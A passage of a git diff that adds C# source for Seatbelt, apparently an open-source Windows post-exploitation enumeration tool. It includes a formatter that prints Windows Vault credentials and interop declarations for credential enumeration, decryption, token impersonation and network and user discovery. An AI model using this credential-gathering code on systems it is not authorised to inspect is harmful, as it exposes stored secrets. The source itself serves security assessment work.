Marshal.PtrToStringUni(StringPtr); + break; + case VAULT_ELEMENT_TYPE.Sid: + var sidPtr = Marshal.ReadIntPtr(elementPtr); + var sidObject = new System.Security.Principal.SecurityIdentifier(sidPtr); + value = sidObject.Value; + break; + case VAULT_ELEMENT_TYPE.ByteArray: + var o = (VAULT_BYTE_ARRAY)Marshal.PtrToStructure(elementPtr, typeof(VAULT_BYTE_ARRAY)); + var array = new byte[o.Length]; + if (o.Length > 0) + { + Marshal.Copy(o.pData, array, 0, o.Length); + } + value = array; + break; + + //case VAULT_ELEMENT_TYPE.Undefined: + //case VAULT_ELEMENT_TYPE.TimeStamp: + //case VAULT_ELEMENT_TYPE.ProtectedArray: + //case VAULT_ELEMENT_TYPE.Attribute: + //case VAULT_ELEMENT_TYPE.Last: + default: + throw new NotImplementedException($"VAULT_ELEMENT_TYPE '{item.Type}' is currently not implemented"); + } + return new VaultItemValue(item.Type, value); + } + + internal class WindowsVaultDTO : CommandDTOBase + { + public WindowsVaultDTO(Guid vaultGuid, string vaultType, List vaultEntries) + { + VaultGUID = vaultGuid; + VaultType = vaultType; + VaultEntries = vaultEntries; + } + + public Guid VaultGUID { get; set; } + + public string VaultType { get; set; } + + public List VaultEntries { get; set; } + } + + [CommandOutputType(typeof(WindowsVaultDTO))] + internal class WindowsVaultFormatter : TextFormatterBase + { + public WindowsVaultFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (WindowsVaultDTO)result; + + WriteLine($"\n Vault GUID : {dto.VaultGUID}"); + WriteLine($" Vault Type : {dto.VaultType}"); + WriteLine($" Item count : {dto.VaultEntries.Count}"); + + foreach (var entry in dto.VaultEntries) + { + WriteLine(" SchemaGuid : " + entry.SchemaGuidId); + WriteLine(" Resource : " + ItemToString(entry.Resource)); + WriteLine(" Identity : " + ItemToString(entry.Identity)); + WriteLine(" PackageSid : " + ItemToString(entry.PackageSid)); + WriteLine(" Credential : " + ItemToString(entry.Credential)); + WriteLine($" LastModified : {entry.LastModifiedUtc}"); + } + } + + private string ItemToString(VaultItemValue? item) + { + if (item == null) + return "(null)"; + + string valueStr; + switch (item.VaultElementType) + { + case VAULT_ELEMENT_TYPE.Boolean: + case VAULT_ELEMENT_TYPE.Short: + case VAULT_ELEMENT_TYPE.UnsignedShort: + case VAULT_ELEMENT_TYPE.Int: + case VAULT_ELEMENT_TYPE.UnsignedInt: + case VAULT_ELEMENT_TYPE.Double: + case VAULT_ELEMENT_TYPE.Guid: + case VAULT_ELEMENT_TYPE.String: + case VAULT_ELEMENT_TYPE.Sid: + valueStr = $"String: {item.Value.ToString()}"; + break; + case VAULT_ELEMENT_TYPE.ByteArray: + valueStr = BitConverter.ToString((byte[])item.Value).Replace("-", " "); ; + break; + default: + valueStr = $"Unable to print a value of type {item.VaultElementType}. Please report an issue!"; + break; + } + + return valueStr; + } + } + } + + internal class VaultItemValue + { + public VaultItemValue(VAULT_ELEMENT_TYPE vaultElementType, object value) + { + VaultElementType = vaultElementType; + Value = value; + } + public VAULT_ELEMENT_TYPE VaultElementType { get; set; } + public object Value { get; set; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Advapi32.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Advapi32.cs new file mode 100644 index 0000000..a09b97f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Advapi32.cs @@ -0,0 +1,415 @@ +using System; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.Principal; +using System.Text; +using LSA_HANDLE = System.IntPtr; +using static Seatbelt.Interop.Secur32; + +namespace Seatbelt.Interop +{ + internal class Advapi32 + { + #region Function Definitions + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool GetTokenInformation( + IntPtr TokenHandle, + TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool LookupPrivilegeName( + string? lpSystemName, + IntPtr lpLuid, + StringBuilder? lpName, + ref int cchName); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern uint I_QueryTagInformation( + IntPtr Unknown, + SC_SERVICE_TAG_QUERY_TYPE Type, + ref SC_SERVICE_TAG_QUERY Query + ); + + [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern bool ConvertSidToStringSid(IntPtr pSid, out string strSid); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern bool LookupAccountSid( + string? lpSystemName, + [MarshalAs(UnmanagedType.LPArray)] byte[] Sid, + StringBuilder lpName, + ref uint cchName, + StringBuilder ReferencedDomainName, + ref uint cchReferencedDomainName, + out SID_NAME_USE peUse); + + [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true), SuppressUnmanagedCodeSecurityAttribute] + public static extern uint LsaOpenPolicy( + LSA_UNICODE_STRING[]? SystemName, + ref LSA_OBJECT_ATTRIBUTES ObjectAttributes, + int AccessMask, + out IntPtr PolicyHandle + ); + + [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true), SuppressUnmanagedCodeSecurityAttribute] + public static extern uint LsaEnumerateAccountsWithUserRight( + LSA_HANDLE PolicyHandle, + LSA_UNICODE_STRING[] UserRights, + out IntPtr EnumerationBuffer, + out int CountReturned + ); + + [DllImport("advapi32")] + public static extern int LsaNtStatusToWinError(int NTSTATUS); + + [DllImport("advapi32")] + public static extern int LsaClose(IntPtr PolicyHandle); + + [DllImport("advapi32")] + public static extern int LsaFreeMemory(IntPtr Buffer); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode)] + public static extern int RegOpenKeyEx( + UIntPtr hKey, + string subKey, + uint ulOptions, + uint samDesired, + out IntPtr hkResult); + + [DllImport("advapi32.dll", EntryPoint = "GetNamedSecurityInfoW", CharSet = CharSet.Unicode)] + public static extern int GetNamedSecurityInfo( + string objectName, + SE_OBJECT_TYPE objectType, + System.Security.AccessControl.SecurityInfos securityInfo, + out IntPtr sidOwner, + out IntPtr sidGroup, + out IntPtr dacl, + out IntPtr sacl, + out IntPtr securityDescriptor); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool ConvertSecurityDescriptorToStringSecurityDescriptor( + IntPtr SecurityDescriptor, + uint StringSDRevision, + System.Security.AccessControl.SecurityInfos SecurityInformation, + out IntPtr StringSecurityDescriptor, + out int StringSecurityDescriptorSize); + + // for GetSystem() + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool OpenProcessToken( + IntPtr ProcessHandle, + UInt32 DesiredAccess, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll")] + public static extern bool DuplicateToken( + IntPtr ExistingTokenHandle, + int SECURITY_IMPERSONATION_LEVEL, + ref IntPtr DuplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser( + IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + + [DllImport("advapi32.dll", EntryPoint = "CredFree", SetLastError = true)] + internal static extern void CredFree( + [In] IntPtr cred); + + [DllImport("advapi32.dll", EntryPoint = "CredEnumerate", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool CredEnumerate( + string filter, + int flag, + out int count, + out IntPtr pCredentials); + + [DllImport("Advapi32", SetLastError = false)] + public static extern bool IsTextUnicode( + byte[] buf, + int len, + ref IsTextUnicodeFlags opt + ); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CryptAcquireContext(ref IntPtr hProv, string pszContainer, string pszProvider, uint dwProvType, long dwFlags); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CryptReleaseContext(IntPtr hProv, uint dwFlags); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CryptCreateHash(IntPtr hProv, uint algId, IntPtr hKey, uint dwFlags, ref IntPtr phHash); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CryptDestroyHash(IntPtr hHash); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CryptHashData(IntPtr hHash, byte[] pbData, uint dataLen, uint flags); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CryptDeriveKey(IntPtr hProv, uint Algid, IntPtr hBaseData, int flags, ref IntPtr phKey); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CryptDestroyKey(IntPtr hKey); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CryptDecrypt(IntPtr hKey, IntPtr hHash, bool Final, uint dwFlags, byte[] pbData, ref uint pdwDataLen); + + + + + #endregion + + + #region Enum Definitions + + public enum SID_NAME_USE + { + SidTypeUser = 1, + SidTypeGroup, + SidTypeDomain, + SidTypeAlias, + SidTypeWellKnownGroup, + SidTypeDeletedAccount, + SidTypeInvalid, + SidTypeUnknown, + SidTypeComputer + } + + public enum TOKEN_INFORMATION_CLASS + { + TokenUser = 1, + TokenGroups, + TokenPrivileges, + TokenOwner, + TokenPrimaryGroup, + TokenDefaultDacl, + TokenSource, + TokenType, + TokenImpersonationLevel, + TokenStatistics, + TokenRestrictedSids, + TokenSessionId, + TokenGroupsAndPrivileges, + TokenSessionReference, + TokenSandBoxInert, + TokenAuditPolicy, + TokenOrigin + } + + public enum SC_SERVICE_TAG_QUERY_TYPE + { + ServiceNameFromTagInformation = 1, + ServiceNamesReferencingModuleInformation = 2, + ServiceNameTagMappingInformation = 3 + } + + public enum SE_OBJECT_TYPE + { + SE_UNKNOWN_OBJECT_TYPE = 0, + SE_FILE_OBJECT, + SE_SERVICE, + SE_PRINTER, + SE_REGISTRY_KEY, + SE_LMSHARE, + SE_KERNEL_OBJECT, + SE_WINDOW_OBJECT, + SE_DS_OBJECT, + SE_DS_OBJECT_ALL, + SE_PROVIDER_DEFINED_OBJECT, + SE_WMIGUID_OBJECT, + SE_REGISTRY_WOW64_32KEY + } + + + [Flags] + public enum LuidAttributes : uint + { + DISABLED = 0x00000000, + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001, + SE_PRIVILEGE_ENABLED = 0x00000002, + SE_PRIVILEGE_REMOVED = 0x00000004, + SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000 + } + + + public enum CredentialType : uint + { + None = 0, + Generic = 1, + DomainPassword = 2, + DomainCertificate = 3, + DomainVisiblePassword = 4, + GenericCertificate = 5, + DomainExtended = 6, + Maximum = 7, + CredTypeMaximum = Maximum + 1000 + } + + public enum PersistenceType : uint + { + Session = 1, + LocalComputer = 2, + Enterprise = 3 + } + + // for unicode detection + [Flags] + public enum IsTextUnicodeFlags : int + { + IS_TEXT_UNICODE_ASCII16 = 0x0001, + IS_TEXT_UNICODE_REVERSE_ASCII16 = 0x0010, + + IS_TEXT_UNICODE_STATISTICS = 0x0002, + IS_TEXT_UNICODE_REVERSE_STATISTICS = 0x0020, + + IS_TEXT_UNICODE_CONTROLS = 0x0004, + IS_TEXT_UNICODE_REVERSE_CONTROLS = 0x0040, + + IS_TEXT_UNICODE_SIGNATURE = 0x0008, + IS_TEXT_UNICODE_REVERSE_SIGNATURE = 0x0080, + + IS_TEXT_UNICODE_ILLEGAL_CHARS = 0x0100, + IS_TEXT_UNICODE_ODD_LENGTH = 0x0200, + IS_TEXT_UNICODE_DBCS_LEADBYTE = 0x0400, + IS_TEXT_UNICODE_NULL_BYTES = 0x1000, + + IS_TEXT_UNICODE_UNICODE_MASK = 0x000F, + IS_TEXT_UNICODE_REVERSE_MASK = 0x00F0, + IS_TEXT_UNICODE_NOT_UNICODE_MASK = 0x0F00, + IS_TEXT_UNICODE_NOT_ASCII_MASK = 0xF000 + } + + #endregion + + + #region Structure Defintions + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_OBJECT_ATTRIBUTES + { + public int Length; + public IntPtr RootDirectory; + public IntPtr ObjectName; + public int Attributes; + public IntPtr SecurityDescriptor; + public IntPtr SecurityQualityOfService; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct LSA_UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + [MarshalAs(UnmanagedType.LPWStr)] + public string Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_ENUMERATION_INFORMATION + { + public IntPtr PSid; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SC_SERVICE_TAG_QUERY + { + public uint ProcessId; + public uint ServiceTag; + public uint Unknown; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + internal struct TOKEN_STATISTICS + { + public LUID TokenId; + public LUID AuthenticationId; + public long ExpirationTime; + public uint TokenType; + public uint ImpersonationLevel; + public uint DynamicCharged; + public uint DynamicAvailable; + public uint GroupCount; + public uint PrivilegeCount; + public LUID ModifiedId; + } + + + [StructLayout(LayoutKind.Sequential)] + internal struct CREDENTIAL + { + public int Flags; + public CredentialType Type; + [MarshalAs(UnmanagedType.LPWStr)] public string TargetName; + [MarshalAs(UnmanagedType.LPWStr)] public string Comment; + public long LastWritten; + public int CredentialBlobSize; + public IntPtr CredentialBlob; + public PersistenceType Persist; + public int AttributeCount; + public IntPtr Attributes; + [MarshalAs(UnmanagedType.LPWStr)] public string TargetAlias; + [MarshalAs(UnmanagedType.LPWStr)] public string UserName; + } + + #endregion + + + #region Helper Functions + + // Based off of code by Lee Christensen(@tifkin_) from https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-NetworkConnection.ps1#L1046 + public static string? GetServiceNameFromTag(uint processId, uint serviceTag) + { + var serviceTagQuery = new SC_SERVICE_TAG_QUERY + { + ProcessId = processId, + ServiceTag = serviceTag + }; + + var res = I_QueryTagInformation(IntPtr.Zero, SC_SERVICE_TAG_QUERY_TYPE.ServiceNameFromTagInformation, ref serviceTagQuery); + + return res == Win32Error.Success ? Marshal.PtrToStringUni(serviceTagQuery.Buffer) : null; + } + + public static string TranslateSid(string sid) + { + // adapted from http://www.pinvoke.net/default.aspx/advapi32.LookupAccountSid + var accountSid = new SecurityIdentifier(sid); + var accountSidByes = new byte[accountSid.BinaryLength]; + accountSid.GetBinaryForm(accountSidByes, 0); + + var name = new StringBuilder(); + var cchName = (uint)name.Capacity; + var referencedDomainName = new StringBuilder(); + var cchReferencedDomainName = (uint)referencedDomainName.Capacity; + + var err = 0; + if (!LookupAccountSid(null, accountSidByes, name, ref cchName, referencedDomainName, ref cchReferencedDomainName, out var sidUse)) + { + err = Marshal.GetLastWin32Error(); + if (err == Win32Error.InsufficientBuffer) + { + name.EnsureCapacity((int)cchName); + referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); + err = 0; + if (!LookupAccountSid(null, accountSidByes, name, ref cchName, referencedDomainName, ref cchReferencedDomainName, out sidUse)) + err = Marshal.GetLastWin32Error(); + } + } + + return err == 0 ? $"{referencedDomainName}\\{name}" : ""; + } + + #endregion + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/COM.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/COM.cs new file mode 100644 index 0000000..45b60b4 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/COM.cs @@ -0,0 +1,16 @@ +using System; + +namespace Seatbelt.Interop +{ + internal class COM + { + [Flags] + public enum FirewallProfiles : int + { + DOMAIN = 1, + PRIVATE = 2, + PUBLIC = 4, + ALL = 2147483647 + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Iphlpapi.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Iphlpapi.cs new file mode 100644 index 0000000..13a2d10 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Iphlpapi.cs @@ -0,0 +1,202 @@ +using System; +using System.Net; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + public class Iphlpapi + { + [DllImport("iphlpapi.dll", SetLastError = true)] + public static extern uint GetExtendedTcpTable( + IntPtr pTcpTable, + ref uint dwOutBufLen, + bool sort, + int ipVersion, + TCP_TABLE_CLASS tblClass, + int reserved); + + [DllImport("iphlpapi.dll", SetLastError = true)] + public static extern uint GetExtendedUdpTable( + IntPtr pUdpTable, + ref uint dwOutBufLen, + bool sort, + int ipVersion, + UDP_TABLE_CLASS tblClass, + int reserved); + + [DllImport("IpHlpApi.dll")] + [return: MarshalAs(UnmanagedType.U4)] + internal static extern int GetIpNetTable(IntPtr pIpNetTable, [MarshalAs(UnmanagedType.U4)]ref int pdwSize, bool bOrder); + + [DllImport("IpHlpApi.dll", SetLastError = true, CharSet = CharSet.Auto)] + internal static extern int FreeMibTable(IntPtr plpNetTable); + + public enum TCP_TABLE_CLASS : int + { + TCP_TABLE_BASIC_LISTENER, + TCP_TABLE_BASIC_CONNECTIONS, + TCP_TABLE_BASIC_ALL, + TCP_TABLE_OWNER_PID_LISTENER, + TCP_TABLE_OWNER_PID_CONNECTIONS, + TCP_TABLE_OWNER_PID_ALL, + TCP_TABLE_OWNER_MODULE_LISTENER, + TCP_TABLE_OWNER_MODULE_CONNECTIONS, + TCP_TABLE_OWNER_MODULE_ALL + } + + public enum MIB_TCP_STATE + { + CLOSED = 1, + LISTEN = 2, + SYN_SENT = 3, + SYN_RCVD = 4, + ESTAB = 5, + FIN_WAIT1 = 6, + FIN_WAIT2 = 7, + CLOSE_WAIT = 8, + CLOSING = 9, + LAST_ACK = 10, + TIME_WAIT = 11, + DELETE_TCB = 12 + } + + [StructLayout(LayoutKind.Sequential)] + public struct MIB_TCPTABLE_OWNER_MODULE + { + public uint NumEntries; + private readonly MIB_TCPROW_OWNER_MODULE Table; + } + + [StructLayout(LayoutKind.Sequential)] + public struct MIB_TCPROW_OWNER_MODULE + { + public readonly MIB_TCP_STATE State; + public readonly uint LocalAddr; + private readonly byte LocalPort1; + private readonly byte LocalPort2; + private readonly byte LocalPort3; + private readonly byte LocalPort4; + public readonly uint RemoteAddr; + private readonly byte RemotePort1; + private readonly byte RemotePort2; + private readonly byte RemotePort3; + private readonly byte RemotePort4; + public readonly uint OwningPid; + public readonly ulong CreateTimestamp; + public readonly ulong OwningModuleInfo0; + public readonly ulong OwningModuleInfo1; + public readonly ulong OwningModuleInfo2; + public readonly ulong OwningModuleInfo3; + public readonly ulong OwningModuleInfo4; + public readonly ulong OwningModuleInfo5; + public readonly ulong OwningModuleInfo6; + public readonly ulong OwningModuleInfo7; + public readonly ulong OwningModuleInfo8; + public readonly ulong OwningModuleInfo9; + public readonly ulong OwningModuleInfo10; + public readonly ulong OwningModuleInfo11; + public readonly ulong OwningModuleInfo12; + public readonly ulong OwningModuleInfo13; + public readonly ulong OwningModuleInfo14; + public readonly ulong OwningModuleInfo15; + + + public ushort LocalPort => BitConverter.ToUInt16(new byte[2] { LocalPort2, LocalPort1 }, 0); + + public IPAddress LocalAddress => new IPAddress(LocalAddr); + + public IPAddress RemoteAddress => new IPAddress(RemoteAddr); + + public ushort RemotePort => BitConverter.ToUInt16(new byte[2] { RemotePort2, RemotePort1 }, 0); + } + + #region UDP Interop + public enum UDP_TABLE_CLASS : int + { + UDP_TABLE_BASIC, + UDP_TABLE_OWNER_PID, + UDP_TABLE_OWNER_MODULE + } + + [StructLayout(LayoutKind.Sequential)] + public struct MIB_UDPTABLE_OWNER_MODULE + { + public uint NumEntries; + private readonly MIB_UDPROW_OWNER_MODULE Table; + } + + [StructLayout(LayoutKind.Sequential)] + public struct MIB_UDPROW_OWNER_MODULE + { + public readonly uint LocalAddr; + private readonly byte LocalPort1; + private readonly byte LocalPort2; + private readonly byte LocalPort3; + private readonly byte LocalPort4; + public readonly uint OwningPid; + public readonly ulong CreateTimestamp; + public readonly uint SpecificPortBind_Flags; + // public readonly UInt32 Flags; + public readonly ulong OwningModuleInfo0; + public readonly ulong OwningModuleInfo1; + public readonly ulong OwningModuleInfo2; + public readonly ulong OwningModuleInfo3; + public readonly ulong OwningModuleInfo4; + public readonly ulong OwningModuleInfo5; + public readonly ulong OwningModuleInfo6; + public readonly ulong OwningModuleInfo7; + public readonly ulong OwningModuleInfo8; + public readonly ulong OwningModuleInfo9; + public readonly ulong OwningModuleInfo10; + public readonly ulong OwningModuleInfo11; + public readonly ulong OwningModuleInfo12; + public readonly ulong OwningModuleInfo13; + public readonly ulong OwningModuleInfo14; + public readonly ulong OwningModuleInfo15; + + public ushort LocalPort => BitConverter.ToUInt16(new byte[2] { LocalPort2, LocalPort1 }, 0); + + public IPAddress LocalAddress => new IPAddress(LocalAddr); + } + + public enum ArpEntryType + { + Other = 1, + Invalid = 2, + Dynamic = 3, + Static = 4, + } + + [StructLayout(LayoutKind.Sequential)] + public struct MIB_IPNETROW + { + [MarshalAs(UnmanagedType.U4)] + public int dwIndex; + [MarshalAs(UnmanagedType.U4)] + public int dwPhysAddrLen; + [MarshalAs(UnmanagedType.U1)] + public byte mac0; + [MarshalAs(UnmanagedType.U1)] + public byte mac1; + [MarshalAs(UnmanagedType.U1)] + public byte mac2; + [MarshalAs(UnmanagedType.U1)] + public byte mac3; + [MarshalAs(UnmanagedType.U1)] + public byte mac4; + [MarshalAs(UnmanagedType.U1)] + public byte mac5; + [MarshalAs(UnmanagedType.U1)] + public byte mac6; + [MarshalAs(UnmanagedType.U1)] + public byte mac7; + [MarshalAs(UnmanagedType.U4)] + public int dwAddr; + [MarshalAs(UnmanagedType.U4)] + public int dwType; + } + + #endregion + + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Kernel32.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Kernel32.cs new file mode 100644 index 0000000..350923b --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Kernel32.cs @@ -0,0 +1,55 @@ +using System; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + internal class Kernel32 + { + [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool IsWow64Process( + [In] IntPtr hProcess, + [Out] out bool wow64Process + ); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", EntryPoint = "CopyMemory", SetLastError = false)] + public static extern void CopyMemory(IntPtr dest, IntPtr src, uint count); + + [DllImport("kernel32.dll")] + public static extern IntPtr LocalAlloc(uint uFlags, uint uBytes); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr FindFirstFile(string lpFileName, out WIN32_FIND_DATA lpFindFileData); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool FindNextFile(IntPtr hFindFile, out WIN32_FIND_DATA + lpFindFileData); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool FindClose(IntPtr hFindFile); + + [DllImport("kernel32.dll")] + public static extern int GetLastError(); + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct WIN32_FIND_DATA + { + public uint dwFileAttributes; + public System.Runtime.InteropServices.ComTypes.FILETIME ftCreationTime; + public System.Runtime.InteropServices.ComTypes.FILETIME ftLastAccessTime; + public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWriteTime; + public uint nFileSizeHigh; + public uint nFileSizeLow; + public uint dwReserved0; + public uint dwReserved1; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] + public string cFileName; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)] + public string cAlternateFileName; + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Mpr.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Mpr.cs new file mode 100644 index 0000000..3a62a2f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Mpr.cs @@ -0,0 +1,15 @@ +using System.Runtime.InteropServices; +using System.Text; + +namespace Seatbelt.Interop +{ + public class Mpr + { + [DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern int WNetGetConnection( + [MarshalAs(UnmanagedType.LPTStr)] string localName, + [MarshalAs(UnmanagedType.LPTStr)] StringBuilder remoteName, + ref int length + ); + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Netapi32.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Netapi32.cs new file mode 100644 index 0000000..c233ea1 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Netapi32.cs @@ -0,0 +1,363 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + internal class Netapi32 + { + [DllImport("Netapi32.dll")] + public static extern uint NetLocalGroupGetMembers( + [MarshalAs(UnmanagedType.LPWStr)] string? ServerName, + [MarshalAs(UnmanagedType.LPWStr)] string LocalGroupName, + int Level, + out IntPtr BufPtr, + int PreferredMaxLength, + out uint EntriesRead, + out uint TotalEntries, + out IntPtr ResumeHandle); + + [DllImport("Netapi32.dll")] + public static extern uint NetLocalGroupEnum( + [MarshalAs(UnmanagedType.LPWStr)] string? ServerName, + int Level, + out IntPtr BufPtr, + int PreferredMaxLength, + out uint EntriesRead, + out uint TotalEntries, + out IntPtr ResumeHandle); + + [DllImport("Netapi32.dll")] + public static extern uint NetUserEnum( + [MarshalAs(UnmanagedType.LPWStr)] string ServerName, + uint Level, + uint Filter, + out IntPtr BufPtr, + uint PreferredMaxLength, + out uint EntriesRead, + out uint TotalEntries, + out IntPtr ResumeHandle); + + [DllImport("Netapi32.dll")] + public static extern int NetApiBufferFree(IntPtr Buffer); + + [DllImport("Netapi32.dll")] + public static extern uint NetGetJoinInformation( + [MarshalAs(UnmanagedType.LPWStr)] string lpServer, + [MarshalAs(UnmanagedType.LPWStr)] string LocalGroupName, + int Level, + out IntPtr BufPtr, + int PreferredMaxLength, + out int EntriesRead, + out int TotalEntries, + out IntPtr ResumeHandle); + + [DllImport("netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern void NetFreeAadJoinInformation(IntPtr pJoinInfo); + + [DllImport("netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern int NetGetAadJoinInformation(string pcszTenantId,out IntPtr ppJoinInfo); + + public static uint MAX_PREFERRED_LENGTH = unchecked((uint)-1); + + public enum SidNameUse + { + User = 1, + Group, + Domain, + Alias, + WellKnownGroup, + DeletedAccount, + Invalid, + Unknown, + Computer + } + + public enum Priv + { + Guest = 0, + User = 1, + Administrator = 2 + } + + // LOCALGROUP_MEMBERS_INFO_2 - Structure for holding members details + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct LOCALGROUP_MEMBERS_INFO_2 + { + public IntPtr lgrmi2_sid; + public SidNameUse lgrmi2_sidusage; + public string lgrmi2_domainandname; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct LOCALGROUP_INFO_1 + { + [MarshalAs(UnmanagedType.LPWStr)] public string name; + [MarshalAs(UnmanagedType.LPWStr)] public string comment; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct USER_INFO_3 + { + [MarshalAs(UnmanagedType.LPWStr)] public string name; + [MarshalAs(UnmanagedType.LPWStr)] public string password; + public uint passwordAge; + public uint priv; + [MarshalAs(UnmanagedType.LPWStr)] public string home_dir; + [MarshalAs(UnmanagedType.LPWStr)] public string comment; + public uint flags; + [MarshalAs(UnmanagedType.LPWStr)] public string script_path; + public uint auth_flags; + [MarshalAs(UnmanagedType.LPWStr)] public string full_name; + [MarshalAs(UnmanagedType.LPWStr)] public string usr_comment; + [MarshalAs(UnmanagedType.LPWStr)] public string parms; + [MarshalAs(UnmanagedType.LPWStr)] public string workstations; + public uint last_logon; + public uint last_logoff; + public uint acct_expires; + public uint max_storage; + public uint units_per_week; + public IntPtr logon_hours; + public uint bad_pw_count; + public uint num_logons; + [MarshalAs(UnmanagedType.LPWStr)] public string logon_server; + public uint country_code; + public uint code_page; + public uint user_id; + public uint primary_group_id; + [MarshalAs(UnmanagedType.LPWStr)] public string profile; + [MarshalAs(UnmanagedType.LPWStr)] public string home_dir_drive; + public uint password_expired; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DSREG_JOIN_INFO + { + public int joinType; + public IntPtr pJoinCertificate; + [MarshalAs(UnmanagedType.LPWStr)] public string DeviceId; + [MarshalAs(UnmanagedType.LPWStr)] public string IdpDomain; + [MarshalAs(UnmanagedType.LPWStr)] public string TenantId; + [MarshalAs(UnmanagedType.LPWStr)] public string JoinUserEmail; + [MarshalAs(UnmanagedType.LPWStr)] public string TenantDisplayName; + [MarshalAs(UnmanagedType.LPWStr)] public string MdmEnrollmentUrl; + [MarshalAs(UnmanagedType.LPWStr)] public string MdmTermsOfUseUrl; + [MarshalAs(UnmanagedType.LPWStr)] public string MdmComplianceUrl; + [MarshalAs(UnmanagedType.LPWStr)] public string UserSettingSyncUrl; + public IntPtr pUserInfo; + } + 